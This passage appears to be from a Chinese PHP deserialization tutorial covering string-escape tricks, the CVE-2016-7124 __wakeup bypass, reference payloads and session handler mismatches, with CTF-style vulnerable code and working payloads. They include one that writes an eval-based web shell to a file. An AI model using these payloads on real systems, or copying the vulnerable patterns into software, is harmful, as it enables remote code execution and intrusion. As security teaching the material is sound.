inadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
输出结果
O:4:"user":3: {s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackha ckhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP ";i:1;}";s:5:"isVIP";i:0;} hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackh ack";s:8:"password";s:47:"
正好115字符 将对象反序列化然后输出,代码如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadm inadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); $a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri); ?>
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack hack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到,这个时候isVIP的值也为1,也就达到了反序列化字符逃逸的⽬的了
<?php highlight_file(__FILE__); error_reporting(0); function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hk",$name); return $name; } class test{ var $user; var $pass; var $vip = false ; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; } } $param=$_GET['user']; $pass=$_GET['pass']; $param=serialize(new test($param,$pass)); $profile=unserialize(filter($param)); if ($profile->vip){ echo file_get_contents("flag.php"); } ?> payload: ? user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp&pass=";s:4:"pass";s:3:"123 ";s:3:"vip";b:1;}
6.3 wakeup绕过
6.3.1 cve-2016-7124
影响范围:
正常来说在反序列化过程中,会先调⽤wakeup()⽅法在进⾏unserialize(),但如果序列化字符串中表示对象属性个 数值⼤于真实属性个数时,wakeup()的执⾏会跳过
<?php class test{ public $a; public function __wakeup(){ $this->a='666'; } public function __destruct(){ echo $this->a."\n"; } } var_dump(unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}')); 输出: bool(false)
6.3.2 unserialize()和wakeup()
Php7.4.0起,如果类中同时定义unserialize()和wakeup()两个魔术⽅法,则只有unserialize()⽅法会⽣效, wakeup()会被忽略
<?php highlight_file(__FILE__); class vip{ public $username; public $password; public $code; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); } public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } } unserialize($_GET['vip']);
<?php class vip{ public $username; public $password; } $obj = new vip(); $obj->username = '877.php'; $obj->password = '<?php eval($_POST["cmd"]);?>'; echo urlencode(serialize($obj));
第七章 序列化引用
在php中,引⽤允许多个变量指向同⼀个内存地址,当对某个变量进⾏修改时,其它引⽤到内存地址的变量也会同 步变化。
<?php class Example { public $secret = "Initial secret"; public $enter; public function __destruct() { echo $this->enter; } } $a = new Example(); $a->enter = &$a->secret; // $a->enter 是 $a->secret 的引⽤
例题:
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); class just4fun { var $enter; var $secret; } if (isset($_GET['pass'])) { $pass = $_GET['pass']; $pass=str_replace('*','\*',$pass); } $o = unserialize($pass); if ($o) { $o->secret = "*"; if ($o->secret === $o->enter) echo "Congratulation! Here is my secret: ".$flag; else echo "Oh no... You can't fool me"; } else echo "are you trolling?";
代码概述:
⾸先它接受pass的get传参并且可以反序列化。
它会把pass⾥的”*”都变成”*”。
如果just4fun⾥的两个参数值都相等,则会输出上⾯包含flag.php的flag值。
失败则输出“are you trolling?”
最终⽬的是拿到flag,想拿到flag,就得让just4fun⾥的两个属性都相同
已知secret值只能是*
所以只能⽤pass传参,去通过反序列化改变enter的值
但是有⼀个过滤的功能,会把你要传进去的 * 变成 \* ,⽆法通过反序列化直接赋值
改变思路:将两个属性绑在⼀起,间接去通过引⽤的⽅式去改变enter的值
payload:
<?php class just4fun { var $enter; var $secret; } $a = new Just4fun(); $a -> enter = &$a -> secret ; echo serialize($a);
$a -> enter = &$a -> secret ;
=& 是 引⽤赋值运算符,表示将 enter 属性设为 secret 属性的引⽤ $a->enter 现在是 $a->secret 的引⽤,这意味着如果修改 $a->enter 的值, $a->secret 的值也会同时发⽣ 变化(反之亦然)
?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
原理:没有 * 字符,且满⾜ $secret = $enter
7.1 session 反序列化
session.save_path:设置session的存储路径 session.serialize_handler:设定⽤户⾃定义存储函数 session.save_handler:存储session机制,默认是以⽂件的⽅式存储,且存储的⽂件是由sess_sessionid来决定 ⽂件名
session.serialize_handler:定的引擎⼜三种
处理器名称 存储格式
php 键名 + 竖线 + 经过 serialize() 函数序列化处理的值
php_binary 键名的⻓度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组
7.1.1 php处理器:
<?php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); $_SESSION['session'] = $_GET['session']; 输出: session|s:4:"qwer"; session为$_SESSION['session']的键名,|后为传⼊get参数经过序列化后的值
7.1.2 php_binary处理器
<?php error_reporting(0); ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION['sessionsessionsessionsessionsession'] = $_GET['session']; 输出: #sessionsessionsessionsessionsessions:4:"qwer"; #为键名⻓度对应的ascii的值,sessionsessionsessionsessionsession为键名 s:4:"qwer";:为传⼊get参数经过序列化后的值
7.1.3 php_serialize 处理器
php_serialize处理器前提 php>5.5.4 <?php error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['session'] = $_GET['session']; 输出: a:1:{s:7:"session";s:4:"qwer";} a:1表示$_SESSION数组中有 1 个元素,花括号⾥⾯的内容即为传⼊ GET 参数经过序列化后
7.2 session反序列化利⽤
请使⽤php7.0+版本做此试验!!!
session的反序列化漏洞,就是利⽤ php 处理器和 php_serialize 处理器的存储格式差异⽽产⽣
session.php
创建 session.php ,使⽤ php_serialize 处理器来存储session数据
<?php ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['session'] = $_GET['session']; echo $_SESSION['session']; ?>
class.php ,使⽤默认 php 处理器来存储session数据
<?php session_start(); class Session{ public $name; function __wakeup(){ echo "Who are you?"; } function __destruct(){ eval($this->name); } } $str = new Session(); ?>
构造payload
?session=|O:7:"Session":1:{s:4:"name";s:10:"phpinfo();";} a:1:{s:7:"session";s:48:"|O:7:"Session":1:{s:4:"name";s:10:"phpinfo();";}";} sess_g6e4r9dl06d6bmdahlue3qh624
评论(0)
暂无评论